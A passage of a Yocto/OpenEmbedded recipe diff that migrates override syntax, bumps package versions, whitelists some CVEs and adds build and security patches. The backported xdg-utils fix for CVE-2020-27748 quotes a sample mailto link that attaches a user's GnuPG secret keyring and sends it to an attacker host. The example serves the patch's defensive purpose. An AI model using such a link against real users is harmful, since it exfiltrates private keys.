# exclude version 5.5.2 which triggers a false positive
UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
@@ -44,7 +49,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
export LD = "${CC}"
-LD_class-native = "${CC}"
+LD:class-native = "${CC}"
do_compile() {
oe_runmake -f unix/Makefile generic
@@ -61,7 +66,7 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "unzip"
+ALTERNATIVE:${PN} = "unzip"
ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
index 1988952603..66373c9b28 100644
--- a/meta/recipes-extended/watchdog/watchdog_5.16.bb
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -18,6 +18,10 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a3b019d"
+# Can be dropped when the output next changes, avoids failures after
+# reproducibility issues
+PR = "r1"
+
UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
@@ -28,23 +32,24 @@ CFLAGS += "-I${STAGING_INCDIR}/tirpc"
LDFLAGS += "-ltirpc"
EXTRA_OECONF += " --disable-nfs "
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
-INITSCRIPT_NAME_${PN} = "watchdog"
-INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN} = "watchdog"
+INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
-INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive"
-INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
+INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
+INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
-SYSTEMD_SERVICE_${PN} = "watchdog.service"
-SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service"
+SYSTEMD_SERVICE:${PN} = "watchdog.service"
+SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
# When using systemd, consider making use of internal watchdog support of systemd.
# See RuntimeWatchdogSec in /etc/systemd/system.conf.
SYSTEMD_AUTO_ENABLE = "disable"
-do_install_append() {
+do_install:append() {
install -d ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
@@ -58,15 +63,15 @@ do_install_append() {
PACKAGES =+ "${PN}-keepalive"
-FILES_${PN}-keepalive = " \
+FILES:${PN}-keepalive = " \
${sysconfdir}/init.d/wd_keepalive \
${systemd_system_unitdir}/wd_keepalive.service \
${sbindir}/wd_keepalive \
"
-RDEPENDS_${PN} += "${PN}-config"
-RRECOMMENDS_${PN} += "kernel-module-softdog"
+RDEPENDS:${PN} += "${PN}-config"
+RRECOMMENDS:${PN} += "kernel-module-softdog"
-RDEPENDS_${PN}-keepalive += "${PN}-config"
-RCONFLICTS_${PN}-keepalive += "${PN}"
-RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog"
+RDEPENDS:${PN}-keepalive += "${PN}-config"
+RCONFLICTS:${PN}-keepalive += "${PN}"
+RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 2338328216..2491199f18 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -11,17 +11,19 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e"
inherit autotools gettext texinfo update-alternatives pkgconfig
+DEPENDS += "autoconf-archive"
+
EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
--disable-rpath"
EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
-ALTERNATIVE_${PN} = "wget"
-ALTERNATIVE_${PN}_class-nativesdk = ""
+ALTERNATIVE:${PN} = "wget"
+ALTERNATIVE:${PN}:class-nativesdk = ""
ALTERNATIVE_PRIORITY = "100"
-RRECOMMENDS_${PN} += "ca-certificates"
+RRECOMMENDS:${PN} += "ca-certificates"
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/wget/wget_1.20.3.bb b/meta/recipes-extended/wget/wget_1.20.3.bb
deleted file mode 100644
index 4fa273d093..0000000000
--- a/meta/recipes-extended/wget/wget_1.20.3.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
- file://0002-improve-reproducibility.patch \
- "
-
-SRC_URI[md5sum] = "db4e6dc7977cbddcd543b240079a4899"
-SRC_URI[sha256sum] = "31cccfc6630528db1c8e3a06f6decf2a370060b982841cfab2b8677400a5092e"
-
-require wget.inc
diff --git a/meta/recipes-extended/wget/wget_1.21.2.bb b/meta/recipes-extended/wget/wget_1.21.2.bb
new file mode 100644
index 0000000000..90f3eb104d
--- /dev/null
+++ b/meta/recipes-extended/wget/wget_1.21.2.bb
@@ -0,0 +1,7 @@
+SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
+ file://0002-improve-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "e6d4c76be82c676dd7e8c61a29b2ac8510ae108a810b5d1d18fc9a1d2c9a2497"
+
+require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index fc9185061b..d3c3f69d3f 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -24,12 +24,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
}
-ALTERNATIVE_${PN} = "which"
+ALTERNATIVE:${PN} = "which"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "which.1"
+ALTERNATIVE:${PN}-doc = "which.1"
ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:sid@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ scripts/xdg-email.in | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
++++ b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+
+ run_thunderbird()
+ {
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+
+- if [ -n "$ATTACH" ] ; then
+- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+- fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+--
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..73acf6b744 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
"
SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
@@ -34,4 +35,4 @@ inherit autotools-brokensep features_check
REQUIRED_DISTRO_FEATURES = "x11"
DEPENDS = "xmlto-native libxslt-native"
-RDEPENDS_${PN} += "xprop"
+RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
index 4f0f9531a1..e64494e54e 100644
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -1,14 +1,13 @@
SUMMARY = "Socket-based service activation daemon"
HOMEPAGE = "https://github.com/xinetd-org/xinetd"
+DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
-# xinetd is a BSD-like license
-# Apple and Gentoo say BSD here.
-LICENSE = "BSD"
+LICENSE = "xinetd"
LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https \
+SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
file://xinetd.init \
file://xinetd.default \
file://xinetd.service \
@@ -18,9 +17,12 @@ SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
S = "${WORKDIR}/git"
+# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
+CVE_CHECK_WHITELIST += "CVE-2013-4342"
+
inherit autotools update-rc.d systemd pkgconfig
-SYSTEMD_SERVICE_${PN} = "xinetd.service"
+SYSTEMD_SERVICE:${PN} = "xinetd.service"
INITSCRIPT_NAME = "xinetd"
INITSCRIPT_PARAMS = "defaults"
@@ -28,20 +30,20 @@ INITSCRIPT_PARAMS = "defaults"
PACKAGECONFIG ??= "tcp-wrappers"
PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
-CONFFILES_${PN} = "${sysconfdir}/xinetd.conf"
+CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
-do_install_append() {
+do_install:append() {
install -d "${D}${sysconfdir}/init.d"
install -d "${D}${sysconfdir}/default"
install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
# Install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/xinetd.service
+ ${D}${systemd_system_unitdir}/xinetd.service
}
-RDEPENDS_${PN} += "perl"
+RDEPENDS:${PN} += "perl"
diff --git a/meta/recipes-extended/xz/xz_5.2.5.bb b/meta/recipes-extended/xz/xz_5.2.5.bb
index af21b60563..8021ebd9bc 100644
--- a/meta/recipes-extended/xz/xz_5.2.5.bb
+++ b/meta/recipes-extended/xz/xz_5.2.5.bb
@@ -1,5 +1,6 @@
SUMMARY = "Utilities for managing LZMA compressed files"
HOMEPAGE = "https://tukaani.org/xz/"
+DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
SECTION = "base"
# The source includes bits of PD, GPLv2, GPLv3, LGPLv2.1+, but the only file
@@ -7,13 +8,13 @@ SECTION = "base"
# and the LGPL bits are under lib/, which appears to be used for libgnu, which
# appears to be used for DOS builds. So we're left with GPLv2+ and PD.
LICENSE = "GPLv2+ & GPL-3.0-with-autoconf-exception & LGPLv2.1+ & PD"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_${PN}-dev = "GPLv2+"
-LICENSE_${PN}-staticdev = "GPLv2+"
-LICENSE_${PN}-doc = "GPLv2+"
-LICENSE_${PN}-dbg = "GPLv2+"
-LICENSE_${PN}-locale = "GPLv2+"
-LICENSE_liblzma = "PD"
+LICENSE:${PN} = "GPLv2+"
+LICENSE:${PN}-dev = "GPLv2+"
+LICENSE:${PN}-staticdev = "GPLv2+"
+LICENSE:${PN}-doc = "GPLv2+"
+LICENSE:${PN}-dbg = "GPLv2+"
+LICENSE:${PN}-locale = "GPLv2+"
+LICENSE:liblzma = "PD"
LIC_FILES_CHKSUM = "file://COPYING;md5=97d554a32881fee0aa283d96e47cb24a \
file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
@@ -33,11 +34,11 @@ inherit autotools gettext
PACKAGES =+ "liblzma"
-FILES_liblzma = "${libdir}/liblzma*${SOLIBS}"
+FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "xz xzcat unxz \
+ALTERNATIVE:${PN} = "xz xzcat unxz \
lzma lzcat unlzma"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..5cdbf22a54 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
[YOCTO #9552]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index c00a932763..18b5d8648e 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,5 +1,6 @@
SUMMARY = "Compressor/archiver for creating and modifying .zip files"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
@@ -19,6 +20,12 @@ UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
+# Disputed and also Debian doesn't consider a vulnerability
+CVE_CHECK_WHITELIST += "CVE-2018-13410"
+
+# Not for zip but for smart contract implementation for it
+CVE_CHECK_WHITELIST += "CVE-2018-13684"
+
# zip.inc sets CFLAGS, but what Makefile actually uses is
# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
# whatever we set.
diff --git a/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch b/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch
new file mode 100644
index 0000000000..3d23648f5b
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-Makefile-sort-all-wildcard-file-list-expansions.patch
@@ -0,0 +1,81 @@
+From 77c7963c7a0f1c455f20520d5c7b1ec9b17a44fb Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 23 Dec 2020 19:14:32 +0100
+Subject: [PATCH] Makefile: sort all wildcard file list expansions
+
+Otherwise the order is non-deterministic and breaks
+reproducible builds.
+
+Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/2895]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ programs/Makefile | 10 +++++-----
+ tests/Makefile | 4 ++--
+ tests/fuzz/Makefile | 2 +-
+ 3 files changed, 8 insertions(+), 8 deletions(-)
+
+diff --git a/programs/Makefile b/programs/Makefile
+index 599fb02f..2c416467 100644
+--- a/programs/Makefile
++++ b/programs/Makefile
+@@ -74,11 +74,11 @@ ZSTDLEGACY_DIR := $(ZSTDDIR)/legacy
+
+ vpath %.c $(ZSTDLIB_COMMON) $(ZSTDLIB_COMPRESS) $(ZSTDLIB_DECOMPRESS) $(ZDICT_DIR) $(ZSTDLEGACY_DIR)
+
+-ZSTDLIB_COMMON_C := $(wildcard $(ZSTDLIB_COMMON)/*.c)
+-ZSTDLIB_COMPRESS_C := $(wildcard $(ZSTDLIB_COMPRESS)/*.c)
+-ZSTDLIB_DECOMPRESS_C := $(wildcard $(ZSTDLIB_DECOMPRESS)/*.c)
++ZSTDLIB_COMMON_C := $(sort $(wildcard $(ZSTDLIB_COMMON)/*.c))
++ZSTDLIB_COMPRESS_C := $(sort $(wildcard $(ZSTDLIB_COMPRESS)/*.c))
++ZSTDLIB_DECOMPRESS_C := $(sort $(wildcard $(ZSTDLIB_DECOMPRESS)/*.c))
+ ZSTDLIB_CORE_SRC := $(ZSTDLIB_DECOMPRESS_C) $(ZSTDLIB_COMMON_C) $(ZSTDLIB_COMPRESS_C)
+-ZDICT_SRC := $(wildcard $(ZDICT_DIR)/*.c)
++ZDICT_SRC := $(sort $(wildcard $(ZDICT_DIR)/*.c))
+
+ ZSTD_LEGACY_SUPPORT ?= 5
+ ZSTDLEGACY_SRC :=
+@@ -93,7 +93,7 @@ ZSTDLIB_FULL_SRC = $(sort $(ZSTDLIB_CORE_SRC) $(ZSTDLEGACY_SRC) $(ZDICT_SRC))
+ ZSTDLIB_LOCAL_SRC = $(notdir $(ZSTDLIB_FULL_SRC))
+ ZSTDLIB_LOCAL_OBJ := $(ZSTDLIB_LOCAL_SRC:.c=.o)
+
+-ZSTD_CLI_SRC := $(wildcard *.c)
++ZSTD_CLI_SRC := $(sort $(wildcard *.c))
+ ZSTD_CLI_OBJ := $(ZSTD_CLI_SRC:.c=.o)
+
+ ZSTD_ALL_SRC = $(ZSTDLIB_LOCAL_SRC) $(ZSTD_CLI_SRC)
+diff --git a/tests/Makefile b/tests/Makefile
+index 85553007..b71cdba8 100644
+--- a/tests/Makefile
++++ b/tests/Makefile
+@@ -49,7 +49,7 @@ ZSTDDECOMP_FILES := $(ZSTDDIR)/decompress/*.c
+ ZSTD_FILES := $(ZSTDDECOMP_FILES) $(ZSTDCOMMON_FILES) $(ZSTDCOMP_FILES)
+ ZDICT_FILES := $(ZSTDDIR)/dictBuilder/*.c
+
+-ZSTD_F1 := $(wildcard $(ZSTD_FILES))
++ZSTD_F1 := $(sort $(wildcard $(ZSTD_FILES)))
+ ZSTD_OBJ1 := $(subst $(ZSTDDIR)/common/,zstdm_,$(ZSTD_F1))
+ ZSTD_OBJ2 := $(subst $(ZSTDDIR)/compress/,zstdc_,$(ZSTD_OBJ1))
+ ZSTD_OBJ3 := $(subst $(ZSTDDIR)/decompress/,zstdd_,$(ZSTD_OBJ2))
+@@ -202,7 +202,7 @@ bigdict: $(ZSTDMT_OBJECTS) $(PRGDIR)/datagen.c bigdict.c
+ invalidDictionaries : $(ZSTD_OBJECTS) invalidDictionaries.c
+
+ legacy : CPPFLAGS += -I$(ZSTDDIR)/legacy -DZSTD_LEGACY_SUPPORT=4
+-legacy : $(ZSTD_FILES) $(wildcard $(ZSTDDIR)/legacy/*.c) legacy.c
++legacy : $(ZSTD_FILES) $(sort $(wildcard $(ZSTDDIR)/legacy/*.c)) legacy.c
+
+ decodecorpus : LDLIBS += -lm
+ decodecorpus : $(filter-out zstdc_zstd_compress.o, $(ZSTD_OBJECTS)) $(ZDICT_FILES) $(PRGDIR)/util.c $(PRGDIR)/timefn.c decodecorpus.c
+diff --git a/tests/fuzz/Makefile b/tests/fuzz/Makefile
+index ccb574b7..b1cb2935 100644
+--- a/tests/fuzz/Makefile
++++ b/tests/fuzz/Makefile
+@@ -62,7 +62,7 @@ FUZZ_SRC := \
+ $(ZSTDCOMP_SRC) \
+ $(ZSTDDICT_SRC) \
+ $(ZSTDLEGACY_SRC)
+-FUZZ_SRC := $(wildcard $(FUZZ_SRC))
++FUZZ_SRC := $(sort $(wildcard $(FUZZ_SRC)))
+
+ FUZZ_D_OBJ1 := $(subst $(ZSTDDIR)/common/,d_lib_common_,$(FUZZ_SRC))
+ FUZZ_D_OBJ2 := $(subst $(ZSTDDIR)/compress/,d_lib_compress_,$(FUZZ_D_OBJ1))
diff --git a/meta/recipes-extended/zstd/zstd/0001-MinGW-Build-Fixes.patch b/meta/recipes-extended/zstd/zstd/0001-MinGW-Build-Fixes.patch
new file mode 100644
index 0000000000..a0e00dca03
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-MinGW-Build-Fixes.patch
@@ -0,0 +1,193 @@
+From ab9a34c92eec815ef214470c927ddbe2e950e7e5 Mon Sep 17 00:00:00 2001
+From: Joshua Watt <JPEWhacker@gmail.com>
+Date: Wed, 26 May 2021 09:15:40 -0500
+Subject: [PATCH] MinGW Build Fixes
+
+Fixes building on MinGW by
+ 1) Exporting the OS variable so that it is visible to sub-make
+ invocations
+ 2) Fixing the extension handling so that make correctly identifies when
+ targets need to be rebuilt. Without the correct handling, make would
+ rebuild the executable targets when running `make install` because
+ it couldn't find them with the correct extension.
+
+Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/2685]
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+---
+ Makefile | 1 +
+ programs/Makefile | 74 +++++++++++++++++++++++------------------------
+ 2 files changed, 38 insertions(+), 37 deletions(-)
+
+diff --git a/Makefile b/Makefile
+index c1908f0a..f9ce9504 100644
+--- a/Makefile
++++ b/Makefile
+@@ -29,6 +29,7 @@ VOID = /dev/null
+ # fail on other tested distros (ubuntu, debian) even
+ # without manually specifying the TARGET_SYSTEM.
+ TARGET_SYSTEM ?= $(OS)
++export OS
+
+ ifneq (,$(filter Windows%,$(TARGET_SYSTEM)))
+ EXT =.exe
+diff --git a/programs/Makefile b/programs/Makefile
+index 599fb02f..79b45c83 100644
+--- a/programs/Makefile
++++ b/programs/Makefile
+@@ -209,37 +209,37 @@ SET_CACHE_DIRECTORY = \
+
+
+ .PHONY: all
+-all: zstd
++all: zstd$(EXT)
+
+ .PHONY: allVariants
+-allVariants: zstd zstd-compress zstd-decompress zstd-small zstd-nolegacy zstd-dictBuilder
++allVariants: zstd$(EXT) zstd-compress$(EXT) zstd-decompress$(EXT) zstd-small$(EXT) zstd-nolegacy$(EXT) zstd-dictBuilder$(EXT)
+
+ .PHONY: zstd # must always be run
+-zstd : CPPFLAGS += $(THREAD_CPP) $(ZLIBCPP) $(LZMACPP) $(LZ4CPP)
+-zstd : LDFLAGS += $(THREAD_LD) $(DEBUGFLAGS_LD)
+-zstd : LDLIBS += $(ZLIBLD) $(LZMALD) $(LZ4LD)
+-zstd : CPPFLAGS += -DZSTD_LEGACY_SUPPORT=$(ZSTD_LEGACY_SUPPORT)
++zstd$(EXT) : CPPFLAGS += $(THREAD_CPP) $(ZLIBCPP) $(LZMACPP) $(LZ4CPP)
++zstd$(EXT) : LDFLAGS += $(THREAD_LD) $(DEBUGFLAGS_LD)
++zstd$(EXT) : LDLIBS += $(ZLIBLD) $(LZMALD) $(LZ4LD)
++zstd$(EXT) : CPPFLAGS += -DZSTD_LEGACY_SUPPORT=$(ZSTD_LEGACY_SUPPORT)
+ ifneq (,$(filter Windows%,$(OS)))
+-zstd : $(RES_FILE)
++zstd$(EXT) : $(RES_FILE)
+ endif
+
+ ifndef BUILD_DIR
+ # generate BUILD_DIR from flags
+
+-zstd:
++zstd$(EXT):
+ $(SET_CACHE_DIRECTORY)
+
+ else
+ # BUILD_DIR is defined
+
+ ZSTD_OBJ := $(addprefix $(BUILD_DIR)/, $(ZSTD_ALL_OBJ))
+-$(BUILD_DIR)/zstd : $(ZSTD_OBJ)
++$(BUILD_DIR)/zstd$(EXT) : $(ZSTD_OBJ)
+ @echo "$(THREAD_MSG)"
+ @echo "$(ZLIB_MSG)"
+ @echo "$(LZMA_MSG)"
+ @echo "$(LZ4_MSG)"
+ @echo LINK $@
+- $(CC) $(FLAGS) $^ $(LDLIBS) -o $@$(EXT)
++ $(CC) $(FLAGS) $^ $(LDLIBS) -o $@
+
+ ifeq ($(HAVE_HASH),1)
+ SRCBIN_HASH = $(shell cat $(BUILD_DIR)/zstd 2> $(VOID) | $(HASH) | cut -f 1 -d " ")
+@@ -249,7 +249,7 @@ else
+ BIN_ISDIFFERENT = 1
+ endif
+
+-zstd : $(BUILD_DIR)/zstd
++zstd$(EXT) : $(BUILD_DIR)/zstd$(EXT)
+ if [ $(BIN_ISDIFFERENT) -eq 1 ]; then \
+ cp -f $< $@; \
+ echo zstd build completed; \
+@@ -263,46 +263,46 @@ endif # BUILD_DIR
+ .PHONY: zstd-release
+ zstd-release: DEBUGFLAGS := -DBACKTRACE_ENABLE=0
+ zstd-release: DEBUGFLAGS_LD :=
+-zstd-release: zstd
++zstd-release: zstd$(EXT)
+
+-zstd32 : CPPFLAGS += $(THREAD_CPP)
+-zstd32 : LDFLAGS += $(THREAD_LD)
+-zstd32 : CPPFLAGS += -DZSTD_LEGACY_SUPPORT=$(ZSTD_LEGACY_SUPPORT)
++zstd32$(EXT) : CPPFLAGS += $(THREAD_CPP)
++zstd32$(EXT) : LDFLAGS += $(THREAD_LD)
++zstd32$(EXT) : CPPFLAGS += -DZSTD_LEGACY_SUPPORT=$(ZSTD_LEGACY_SUPPORT)
+ ifneq (,$(filter Windows%,$(OS)))
+-zstd32 : $(RES32_FILE)
++zstd32$(EXT) : $(RES32_FILE)
+ endif
+-zstd32 : $(ZSTDLIB_FULL_SRC) $(ZSTD_CLI_SRC)
+- $(CC) -m32 $(FLAGS) $^ -o $@$(EXT)
++zstd32$(EXT) : $(ZSTDLIB_FULL_SRC) $(ZSTD_CLI_SRC)
++ $(CC) -m32 $(FLAGS) $^ -o $@
+
+ ## zstd-nolegacy: same scope as zstd, with just support of legacy formats removed
+-zstd-nolegacy : LDFLAGS += $(THREAD_LD) $(ZLIBLD) $(LZMALD) $(LZ4LD) $(DEBUGFLAGS_LD)
+-zstd-nolegacy : $(ZSTDLIB_CORE_SRC) $(ZDICT_SRC) $(ZSTD_CLI_OBJ)
